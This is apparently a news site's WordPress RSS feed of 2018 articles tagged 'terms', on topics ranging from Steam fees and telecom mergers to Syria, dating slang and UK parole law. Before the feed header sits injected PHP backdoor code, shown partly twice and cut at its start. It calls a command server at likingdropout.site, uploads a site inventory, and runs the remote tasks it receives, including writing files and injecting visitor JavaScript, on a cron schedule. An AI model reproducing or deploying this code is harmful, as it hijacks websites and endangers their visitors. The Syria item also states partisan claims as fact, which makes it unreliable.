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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; 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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); terms – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Mon, 03 Dec 2018 18:30:46 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png terms – Brief News https://briefnews.eu 32 32 Valve changes developer terms to try to retain top games https://briefnews.eu/valve-changes-developer-terms-to-try-to-retain-top-games/ https://briefnews.eu/valve-changes-developer-terms-to-try-to-retain-top-games/#respond Mon, 03 Dec 2018 18:30:46 +0000 http://briefnews.eu/valve-changes-developer-terms-to-try-to-retain-top-games/
Valve changes developer terms to try to retain top games

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For years, game distribution platforms like Steam, GOG, Apple’s App Store, and major game consoles have generally taken a 30 percent cut of any revenue made from online game sales. Now, Valve is moving to change those terms to be more generous to Steam developers, but only for the absolute biggest games on the service.

In an announcement posted late Friday, Valve said that it would lower its usual 30 percent take to 25 percent for any game’s earnings beyond $ 10 million (including “game packages, DLC, in-game sales, and Community Marketplace game fees”). The platform fee reduces further to 20 percent for earnings that surpass $ 50 million.

“The value of a large network like Steam has many benefits that are contributed to and shared by all the participants,” Valve writes in the announcement. “It’s always been apparent that successful games and their large audiences have a material impact on those network effects so making sure Steam recognizes and continues to be an attractive platform for those games is an important goal for all participants in the network.”

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]]> https://briefnews.eu/valve-changes-developer-terms-to-try-to-retain-top-games/feed/ 0 It looks like T-Mobile and Sprint are inching closer to finalizing terms in multibillion-dollar merger https://briefnews.eu/it-looks-like-t-mobile-and-sprint-are-inching-closer-to-finalizing-terms-in-multibillion-dollar-merger/ https://briefnews.eu/it-looks-like-t-mobile-and-sprint-are-inching-closer-to-finalizing-terms-in-multibillion-dollar-merger/#respond Sat, 28 Apr 2018 03:35:06 +0000 http://briefnews.eu/it-looks-like-t-mobile-and-sprint-are-inching-closer-to-finalizing-terms-in-multibillion-dollar-merger/ smartphone taking picturesAP Photo/Rogelio V. Solis

  • US wireless carriers T-Mobile and Sprint are finalizing terms as they seek to sign a merger by Monday that could value Sprint at around $ 26 billion.
  • The combined company, with more than 127 million customers, would have added clout to challenge industry leaders Verizon and AT&T.
  • Among other things, the telecom giants are in a race to expand offerings in next-generation 5G wireless technology.

(Reuters) – U.S. wireless carriers T-Mobile and Sprint are finalizing terms as they seek to sign a merger by Monday that could value Sprint at around $ 26 billion, people familiar with the matter said on Friday.

The combined company, with more than 127 million customers, would have added clout to challenge industry leaders Verizon and AT&T in the race to expand offerings in next-generation 5G wireless technology.

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]]> https://briefnews.eu/it-looks-like-t-mobile-and-sprint-are-inching-closer-to-finalizing-terms-in-multibillion-dollar-merger/feed/ 0 Lavrov has ‘no regular terms’ to describe US threat to attack Syrian troops https://briefnews.eu/lavrov-has-no-regular-terms-to-describe-us-threat-to-attack-syrian-troops/ https://briefnews.eu/lavrov-has-no-regular-terms-to-describe-us-threat-to-attack-syrian-troops/#respond Tue, 13 Mar 2018 12:05:31 +0000 http://briefnews.eu/lavrov-has-no-regular-terms-to-describe-us-threat-to-attack-syrian-troops/ The US is trying to cover up its own failure to force armed groups in Syria to de-escalate violence as it blames Russia and Iran for ongoing hostilities in Eastern Ghouta, the Russian foreign minister has said.

Sergey Lavrov was referring to accusations voiced by US Representative at the UN Nikki Haley, who said the US may take military action in Syria in the same way it did last year in response to an alleged chemical-weapons attack in Khan Sheikhoun.

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“Our Western partners, who don’t hide the close contacts they have with [militant groups] in Eastern Ghouta, have failed in their commitment under the UNSC Resolution 2401, which was to influence their proteges, rein them in, and make them stop shelling residential areas [in Damascus]. Our Western colleagues led by the US have failed to do that,” the Russian minister said on Tuesday.

He added that the US is now proposing a new draft resolution, which would be limited to the situation in Eastern Ghouta. It would also protect UN-designated terrorists – like the group formerly known as Al-Nusra Front, which Russia says is playing the lead role in this area – and give the militants time to regroup.

The US accuses Damascus and its allies of using excessive force in Eastern Ghouta, a suburb of the capital that had been controlled by Islamist armed groups for several years. The militants have launched regular attacks on Damascus residential and governmental areas from this location. Moscow says its goal in Eastern Ghouta is to force the fighters to either lay down arms or leave the area, saying the outcome of a similar conflict in Aleppo could serve as a model.

Haley said attacking Syria was “not the path we prefer” and said the UN Security Council’s “failure to act” would be the cause, if Washington chooses to take military action.

“Ms Haley states that the US is a peaceful nation that can at any moment attack the forces of the Syrian government. I have no regular terms left to describe this,” said Lavrov. “A new [US] strike would have very serious consequences. Ms Haley should realize that abusing a microphone with irresponsible statements at the UN Security Council is one thing, but the communications between American and Russian militaries is another thing, which details what is allowed and what is not.”

The incident in Khan Sheikhoun remains uninvestigated, with the scene of the attack inaccessible to chemical weapons inspectors. The evidence used by the US to justify an attack on a Syrian airbase came from questionable sources, and may have been manufactured. The US military does not have proof that Damascus was responsible for the incident.

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]]> https://briefnews.eu/lavrov-has-no-regular-terms-to-describe-us-threat-to-attack-syrian-troops/feed/ 0 Imperishable Memories Is A Narrative Shmup Of Coming To Terms With Past Mistakes https://briefnews.eu/imperishable-memories-is-a-narrative-shmup-of-coming-to-terms-with-past-mistakes/ https://briefnews.eu/imperishable-memories-is-a-narrative-shmup-of-coming-to-terms-with-past-mistakes/#respond Tue, 27 Feb 2018 20:00:15 +0000 http://briefnews.eu/imperishable-memories-is-a-narrative-shmup-of-coming-to-terms-with-past-mistakes/ HgH%2FRb.png

There tends not to be much room for story while players are dodging hails of bullets during shmups, but developer Jennifer Raye is trying to change that with Imperishable Memories, a bullet hell shooter that tells a story of a being coming to terms with their past mistakes and learning to move on as best they can.

Atherus is a world created by Roy’s memories and creative expressions, and is a place that Thanatos, one of his most foul creations, has taken over. These memory beings and creations are all built, visually, to capture that feeling of looking back at high/middle school art most of us have created ages ago, taking us back to a past with some fond memories and laughter. However, the longer one lingers in these memories, the more they may remember the ugliness that birthed some of these creations and times, something the developer wishes to explore with Imperishable Memories.

This story is told through cutscenes, but also through the game’s shmup play, which will have players exchanging shots with various flying enemies. However, players can also grab an enemy and toss them at others, using this close-range attack to rack up ridiculous high scores.

Thoughtful and exciting in equal measures, Imperishable Memories promises a special shmup experience upon its release.

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For more information on Imperishable Memories and developer Jennifer Raye, you can head to the game’s Itch.io page or follow the developer on Twitter. The game is also currently raising development funding on Kickstarter.

]]> https://briefnews.eu/imperishable-memories-is-a-narrative-shmup-of-coming-to-terms-with-past-mistakes/feed/ 0 Chipmakers Qualcomm and Broadcom are fighting to figure out the terms of a $160 billion acquisition https://briefnews.eu/chipmakers-qualcomm-and-broadcom-are-fighting-to-figure-out-the-terms-of-a-160-billion-acquisition/ https://briefnews.eu/chipmakers-qualcomm-and-broadcom-are-fighting-to-figure-out-the-terms-of-a-160-billion-acquisition/#respond Tue, 27 Feb 2018 10:57:30 +0000 http://briefnews.eu/chipmakers-qualcomm-and-broadcom-are-fighting-to-figure-out-the-terms-of-a-160-billion-acquisition/ Steven Mollenkopf ceo qualcommRival computer chip design and manufacturing companies Qualcomm and Broadcom are publicly hashing out the details of a merger deal that could reach a $ 160 billion (£114 billion) price tag.

The prospective deal came about in November when Broadcom made an offer to buy its rival Qualcomm.

Qualcomm executives initially resisted the deal, but The Financial Times now reports that the company is open to being acquired — but only for a price tag of $ 160 billion.

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]]> https://briefnews.eu/chipmakers-qualcomm-and-broadcom-are-fighting-to-figure-out-the-terms-of-a-160-billion-acquisition/feed/ 0 3 AI terms all business professionals need to understand https://briefnews.eu/3-ai-terms-all-business-professionals-need-to-understand/ https://briefnews.eu/3-ai-terms-all-business-professionals-need-to-understand/#respond Sun, 25 Feb 2018 08:14:29 +0000 http://briefnews.eu/3-ai-terms-all-business-professionals-need-to-understand/

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Today there are many discussions happening around the value and utility of artificial intelligence. In fact, a recent report by MIT Sloan Management Review asserts that almost 85 percent of executives believe AI “will allow their companies to obtain or sustain a competitive advantage.”

But there’s also a lot of confusion about terminology, the kinds of applications businesses can make use of and, ultimately, where AI is going. In my experience, it’s not uncommon to hear business professionals use “AI” and other terms such as “machine learning” and “deep learning” interchangeably when, in fact, there are distinct differences.

AI is the next era of computing and it’s important for the business world to understand just how to unlock its potential. In a recent Facebook Live, Amy Webb, Professor of Strategic Foresight at NYU Stern School of Business and founder of the Future Today Institute, and I discussed how AI is not a silver bullet, and how real value comes from a tailored combination of tools designed for a specific business problem.

The stakes are high, and a lack of understanding can lead to unsuccessful implementation and lack of ROI. So, just what do we mean when we say, “AI,” “machine learning,” and “deep learning?”

AI

The academic pursuit of AI came about after the Second World War, with the intent to replicate the human mind. This included exploration into mimicking how we perform general reasoning, value-assessment, and internal inquiry. As time passed, researchers realized that our brains are much more complicated than they’d previously supposed. And while human beings are good at what they do, there are things we don’t have the capacity for. For example, a doctor can’t read and understand the millions of articles published by PubMed as quickly as an AI system. With AI technologies, the goal is to enhance human capabilities, thought, and reach, not replicate or replace them. Just as construction workers use bulldozers and backhoes instead of simple tools, AI allows us to dig through tremendous amounts of data, uncover patterns, and make better decisions based on those insights.

The ultimate goal for AI is what I like to refer to as augmented intelligence, which will help inspire humans to leverage insights for better ideas and alternative perspectives but also help us see through our cognitive biases to points of view that might not have otherwise occurred to us.

Machine learning

Machine learning (ML) is an algorithmic technique that has been around for decades. On a basic level, ML can predict trends or recognize patterns in data if researchers expose the model to previous examples of those patterns. For example, if you have a series of numbers that you can associate with something significant, and if that pattern has previously repeated itself, you can teach ML algorithms to recognize that pattern, and then use it to predict whether that same significant outcome is going to happen again.

For businesses, the implications of ML technology are significant. With ML, enterprises can evaluate buyer behavior to inform future expectations, enabling leaders to adjust strategy if and where necessary. Businesses can deploy ML for a variety of processes. Retail stores can use machine learning in forecasting systems which must consider both past and current (up to the hour) market trends. And financial services can use ML-powered product recommendation systems which must leverage current interest rates, trends, and market movements.

Deep learning

Deep learning (DL) is a more recent innovation under the broader umbrella of machine learning algorithms. DL is an algorithmic technique modeled after the neural structures in human brains. The term is sometimes referred to as neural networks, as researchers were inspired by the synapses and neurons in the human brain and the mechanism by which neurons fire and cause synapses to collect and propagate the energy of that neuron.

DL uses artificial neural networks to dramatically increase the number of dimensions of data it can work with – including unstructured images and sounds. This multi-dimensional approach is much like how humans experience the world. With the proper human training of neural networks and hand-picked quality data sets, DL holds a great deal of promise for powerful, AI-enabled data analysis across industries.

AI can employ both ML and DL algorithmic techniques, but it’s important to remember AI is much more than that. AI combines specific forms of algorithmic techniques to solve a specific problem or to complete a task that its creators set it up to perform.

Don’t count on one technology: Look for a mix

There is plenty of utility in both ML and DL, but a business shouldn’t attempt to meet all its challenges with just one technology. The real value comes from a tailored combination of these tools. For example, if a retailer has a great deal of traffic data and executives want to extrapolate insight from that data to predict traffic for the holiday season, machine learning will offer valuable insights. However, should that same retailer want to correlate customer traffic data with weather patterns, deep learning would offer a more holistic picture.

The AI services offered by IBM’s Watson can take a lot of the guesswork out of which ML or DL algorithms to use. The engineers of these services have already figured out how to best leverage ML, DL, and other reasoning techniques to make it easy for businesses to build the AI applications best-suited to their particular challenges.

Know your nuance

AI has the power to reinvent the way we do business, but only if leaders take the time to understand the nuances of technology. A firm understanding is a significant step in the right direction, but only the beginning of the journey. AI, ML, and DL are powerful technologies but not silver bullets. One implementation won’t solve every issue across the entire organization, but business leaders should take time now to consider how AI can help them fundamentally rethink and optimize their businesses.

Businesses that think they can “wait and see” put themselves at a disadvantage. Keep in mind that even if you’re not preparing for AI, your competition is. AI is here, now.

Rob High is an IBM Fellow, vice president, and chief technology officer of IBM Watson.

]]> https://briefnews.eu/3-ai-terms-all-business-professionals-need-to-understand/feed/ 0 Dating is getting even more complicated — here are 5 more terms you need to know in 2018 https://briefnews.eu/dating-is-getting-even-more-complicated-here-are-5-more-terms-you-need-to-know-in-2018/ https://briefnews.eu/dating-is-getting-even-more-complicated-here-are-5-more-terms-you-need-to-know-in-2018/#respond Sun, 28 Jan 2018 08:47:57 +0000 http://briefnews.eu/dating-is-getting-even-more-complicated-here-are-5-more-terms-you-need-to-know-in-2018/ flowers manAlex / Unsplash

If you thought the world of ghosting, stashing, and sidebarring was bad, things are about to get worse.

Modern dating is tough, and sometimes it can feel like everyone else has a manual to follow while you’re left in the dark wondering if anyone will ever love you. 

The game playing makes it even more complicated. When are you supposed to arrange the second date? How long do you wait until you phone or text the person you’re interested in? 

Of course, social media only perpetuates our anxieties.

However, thanks to dating website Plenty of Fish, there are names for all the digital dating behaviours you’re likely to come across in 2018 — and most of them are linked to our phones, according to the site’s dating expert Shannon Smith.

“[They] can often be avoided by communicating clearly with someone we’re dating, and being mindful of our tech manners,” she told Business Insider. “For instance, ‘Cricketing’ and ‘Ghostbusting’ are simply by-products of attempting to spare someone’s feelings, or avoiding an awkward conversation that we shouldn’t shy away from. And we all know that phoneless ‘Flexting’ has been going on since the dawn of time.

She added: “Singles in 2018 are incredibly savvy daters, and are more empowered than ever to make the best choices for them when it comes to their romantic dealings. But in a fast-paced world with so much choice, sometimes we all need a reminder that dating should be fun!”

Here are the five new dating behaviours to be aware of in 2018 — then you can go back to swiping away to your heart’s content, knowing what you’re getting yourself into.

1. Flexting

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Flexting is digitally boasting to impress your date before you meet them in real life. According to Plenty of Fish data, 47% of single people have experienced this, via a person who brags to them over texts to big themselves up.

It’s usually women on the receiving end of this behaviour, with 63% reporting having gotten messages like this, compared to just 38% of men.

2. Cricketing

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Cricketing someone is when you leave them on “read” for too long. In some cases it can take days for the other person to reply and continue the conversation. Instead of getting a response, the sender is met with silence. Cue the crickets.

The majority of single people, 67% of them, have said they’ve waited patiently for a reply and have gotten it way later than expected. We’re all just busy, okay?

3. Ghostbusting

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This is one for the people who don’t give up. Ghostbusting is where you continue to text someone when they are straight up ignoring you (ghosting).

According to Plenty of Fish, a massive 78% of single millennials have been ghosted by someone they were dating. In the current callous, cowardly world of dating, it’s good to know there are some perseverent people left — 38% of people reported someone wouldn’t stop texting them after they tried to phase them out.


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]]> https://briefnews.eu/dating-is-getting-even-more-complicated-here-are-5-more-terms-you-need-to-know-in-2018/feed/ 0 Alexis Sanchez to Man Utd to be confirmed: Terms agreed, medical done, pictures taken https://briefnews.eu/alexis-sanchez-to-man-utd-to-be-confirmed-terms-agreed-medical-done-pictures-taken/ https://briefnews.eu/alexis-sanchez-to-man-utd-to-be-confirmed-terms-agreed-medical-done-pictures-taken/#respond Mon, 22 Jan 2018 10:33:04 +0000 http://briefnews.eu/alexis-sanchez-to-man-utd-to-be-confirmed-terms-agreed-medical-done-pictures-taken/

Sanchez was even spotted taking selfies at Old Trafford last night wearing the No 7 shirt.

He will take the vacant shirt for the first time since Memphis Depay left the club and follow in the footsteps of same famous faces.

David Beckham, Cristiano Ronaldo, Eric Cantona and George Best have donned the famous number for Manchester United.

And Alexis Sanchez will hope to emulate those stars at Old Trafford in the four-and-a-half years he has signed for.

Sanchez is set to earn around £500,000 a week becoming the highest-paid player in the Premier League.

The 29-year-old was in Manchester over the weekend going through the formalities before the move.

And Henrikh Mkhitaryan was in London finalising his move to Arsenal.

The pair will swap places with no money being exchanged between the clubs.

Both clubs are expected to make the announcements today with Arsenal also chasing Pierre-Emerick Aubameyang.

Mkhitaryan will become Arsenal’s highest-paid player on just over £200,000-a-week.

The players could be set for their debuts this week with Manchester United taking on Yeovil in the FA Cup on Friday.

Arsenal meet Chelsea in the League Cup on Wednesday but Mkhitaryan will be cup tied but could play against Swansea next Tuesday.

The signing of Sanchez will be another major statement for United after the arrivals of Paul Pogba and Romelu Lukaku over the past two summers.

Ed Woodward has wanted an iconic No 7 since he joined United and Sanchez appears to be that man.

United have looked at Antoine Griezmann, Gareth Bale and Paulo Dybala, but have beaten rivals Manchester City to Sanchez.

The Chile ace has spent three and a half years at the Emirates winning two FA Cup and the Community Shield.

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]]> https://briefnews.eu/alexis-sanchez-to-man-utd-to-be-confirmed-terms-agreed-medical-done-pictures-taken/feed/ 0 The art of the SAFT: How to improve the terms of your pre-ICO investment https://briefnews.eu/the-art-of-the-saft-how-to-improve-the-terms-of-your-pre-ico-investment/ https://briefnews.eu/the-art-of-the-saft-how-to-improve-the-terms-of-your-pre-ico-investment/#respond Sun, 07 Jan 2018 19:25:13 +0000 http://briefnews.eu/the-art-of-the-saft-how-to-improve-the-terms-of-your-pre-ico-investment/

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Unregulated initial coin offerings (ICOs) stormed onto the scene in 2016 and early 2017, raising the collective eyebrows of the entrenched VC community. It was in this context that SAFTs, simple agreements for future tokens, were introduced. SAFTs have been hailed in the U.S. as a solution to the murky regulatory status of ICOs and their tokens. Some people in the blockchain community even argue that VCs brought in SAFTs to retain control over the startup-funding ecosystem.

Controversy aside, SAFTs do appear to be gaining traction as a workable option for conducting ICOs in the U.S. markets. A company raising funds via an ICO, where its tokens relate to a product under development, would likely be in violation of U.S. securities laws. However, that same company, if its tokens are properly crafted, may be free to raise funds via an ICO once the product has been deployed and is active. So how can an ICO issuer avoid selling tokens before product launch yet still raise the funds they need to develop the product? Via a SAFT, a written promise a startup can give to accredited investors, such as VCs, to grant them tokens in a post-product-launch ICO in exchange for immediate funding.

In other words, a SAFT lets an ICO issuer raise sufficient funds to develop its project while conducting an ICO free of securities regulations after product launch.

Professionals in the cryptocurrency field generally recognize the SAFT published by Cooley LLP in October 2017 as the industry standard (the basic SAFT). Let’s look at the ways the basic SAFT can be supplemented and improved to protect investors.

The basic SAFT is less than five pages in length. It’s intended for use in a “paper and ink” transaction rather than for the terms and conditions of an online sale. As such, depending on how much leverage a particular investor or fund has on its ICO issuer, there should be an opportunity to improve the terms prior to signing and funding.

Here are five areas investors can look at to improve the terms of their SAFT investments.

1. Describe the token

At its core, a SAFT gives purchasers (investors) the right to be issued tokens upon the issuer’s product launch. However, the basic SAFT fails to describe the rights associated with the tokens to be issued. Without such a description, investors may find they’re not getting what they expected when tokens are finally issued. By incorporating language about token rights into the startup’s white paper and referencing those rights into the SAFT, you can set out your expectations in advance. Alternatively, you can drop a description of the token’s rights and obligations directly into the SAFT itself.

2. Usage of proceeds

Depending on the SAFT project, you may want to include an obligation about how proceeds will be used. You can accomplish this with a set of issuer covenants in the SAFT. Also, if the investment is sufficiently large, it may be appropriate to include negative covenants that restrict certain activities of the issuer without the consent of SAFT buyers.

3. Warranties

The issuer’s representations and warranties in the SAFT should benefit the investor. The basic SAFT doesn’t do a lot in this respect. Investors should consider adding to the SAFT any key assumptions they have about the investment. This may include warranties about the financial status of the issuer and the state of development of the project.

4. Control the timeline

A key aspect of the SAFT is that tokens are not issued until product launch. However, if the product launch is delayed, accredited investors may become concerned. Investors could, therefore, demand that tokens be issued prior to the launch in certain circumstances. If regulatory restrictions no longer apply to the resale of the SAFT or the underlying tokens, if some exemption is found to such regulations, or if a token can no longer be considered a security, investors should have the right to demand token issuance, irrespective of the project’s launch date. These types of provisions can provide an extra layer of protection to SAFT purchasers looking to exit their investment.

5. SAFT as part of the international markets

ICOs are part of an international ecosystem, and the SAFT is generally only needed to address U.S. domestic regulatory concerns. Still, investors may want to consider adding language to the SAFT that deals with the international aspect of the ICO. For example, if a U.S. accredited investor is permitted to resell the SAFT rights or the underlying tokens under U.S. law, and such resale does not contradict the regulatory environment of the intended buyer, the SAFT should explicitly permit such transactions.

Note that the above is a summary of general suggestions. In practice, each project and accompanying SAFT needs to be considered on its individual risks and merits and in the legal environment applicable at the time. This article does not constitute legal advice and is designed for general informational purposes only.

Brian Konradi, Andrei Danilov, and Peter Khokhlov are lawyers and cofounders of Incremint.io, which offers escrow mechanisms for the ICO process.

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]]> https://briefnews.eu/the-art-of-the-saft-how-to-improve-the-terms-of-your-pre-ico-investment/feed/ 0 The law that’s freeing UK’s 'worst rapist,' while other petty criminals face indefinite terms https://briefnews.eu/the-law-thats-freeing-uks-worst-rapist-while-other-petty-criminals-face-indefinite-terms/ https://briefnews.eu/the-law-thats-freeing-uks-worst-rapist-while-other-petty-criminals-face-indefinite-terms/#respond Fri, 05 Jan 2018 12:37:13 +0000 http://briefnews.eu/the-law-thats-freeing-uks-worst-rapist-while-other-petty-criminals-face-indefinite-terms/ Many are asking why the UK’s ‘worst sex offender’ – a cabbie believed to have assaulted 100 women – will be freed from jail while thousands of others on indeterminate sentences for lesser crimes are still without a release date.

John Worboys, 60, a former stripper and porn actor, was convicted of 19 offences in 2009 and ordered to serve at least eight years in jail. He was given an indeterminate sentence for public protection (IPP), meaning he could be kept in prison for as long as he was deemed to be a danger to the public.

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After a secretive hearing about his case in November, however, the Parole Board decided to approve his release, on condition that he report to probation staff every week and is barred from contacting any of his victims.

While Warboys was found guilty of assaulting 12 women, police believe there were more than 100 victims. More came forward after the trial, but the Crown Prosecution Service (CPS) declined to bring any more charges. It is understood the CPS may have taken this decision because Worboys was on an indeterminate sentence.

Worboys is due to be released within weeks – roughly eight years and nine months after he was jailed. Including the year when he was on remand before trial, he will have been behind bars for less than a year for each of the attacks he was convicted of, and a month for each of the women he was suspected of attacking.

At last count, there were 3,162 people in prisons across England and Wales serving the controversial, and now-abolished, IPP sentences. Because of a law which prevents the disclosure of Parole Board proceedings, it is not known why Worboys’ release was approved while so many other IPP prisoners are denied parole.

“I recognise there is a lack transparency of Parole Board processes and I have recently set out options for change,” Professor Nick Hardwick, the Chair of the Parole Board, said in a statement. “We currently have a statutory duty under the Parole Board Rules that prevents disclosure of proceedings.”

The Parole Board has made it one of its key aims to bring down the number of people on indeterminate sentences to 1,500 by 2020. In 2016-2017, 46 percent of all IPP offenders considered for parole were successful, but the recall rate is extremely high.

Sarah Ludford, a Liberal Democrats spokesperson, questioned whether Worboys’ release would raise questions about other IPP prisoners. “Worboys is being released after an indeterminate sentence (IPP) with min eight years. Has the injustice of 3,300 IPP prisoners with no release date – many far less dangerous – that Parole Board Chief Nick Hardwick highlighted last year been solved then?,” she tweeted.

British Labour peer Charlie Falconer added: “Worboys is an IPP prisoner. He had a tariff of 8 years. There were about 500 IPP prisoners, as at June 17, with tariffs of less than 2 years, about half of who had served 8 years or more over their tariff. How has he been released, and they not?”

A former IPP prisoner, Jamie, said Worboys is being released despite being “a true danger to society.” He added on Twitter: “The Worboys case is all about having the money to pay for a top legal team to guide him thru the hoops. Myself and 7500 out the 8000 given an IPP didn’t have that and were left to rot.”

Cleansheet, an organization that supports men and women into employment after they leave prison, called the decision to release Worboys and not other IPP prisoners a “disgrace.”

IPP sentences were introduced in 2005 under Labour Home Secretary David Blunkett. They were designed to protect society from dangerous, violent, and sexual offenders whose crimes were not deemed serious enough to warrant a life sentence but who posed a “significant risk.”

The sentence was applied far more widely than envisaged, however, swelling the prison population to unprecedented levels and putting huge pressure on the already stretched parole board. Rather than targeting dangerous criminals – with an expected rise in the prison population of 900 – and IPP sentence was handed down to 8,711 offenders between 2005 and 2012. They included arsonists, pub brawlers, and street muggers.

READ MORE: Britain’s forgotten prisoners: 4,000 people trapped behind bars in ‘never-ending’ IPP limbo

In 2012, IPP was abolished under the Coalition government after a European Court ruling claimed it was “arbitrary and unlawful.” Its abolition was not retrospective, however, meaning there are still more than 3,000 prisoners – or nearly five percent of the prison population – serving sentences without a release date. The scheme costs British taxpayers approximately £131 million every year.

There are some prisoners who are serving four times their sentence. Last year, RT reported the cases of Ian Hartley, who is twelve years into a three-year jail term for robbery, and Joshua McCrae, who is eleven years into a four-year jail term for ‘wounding.’

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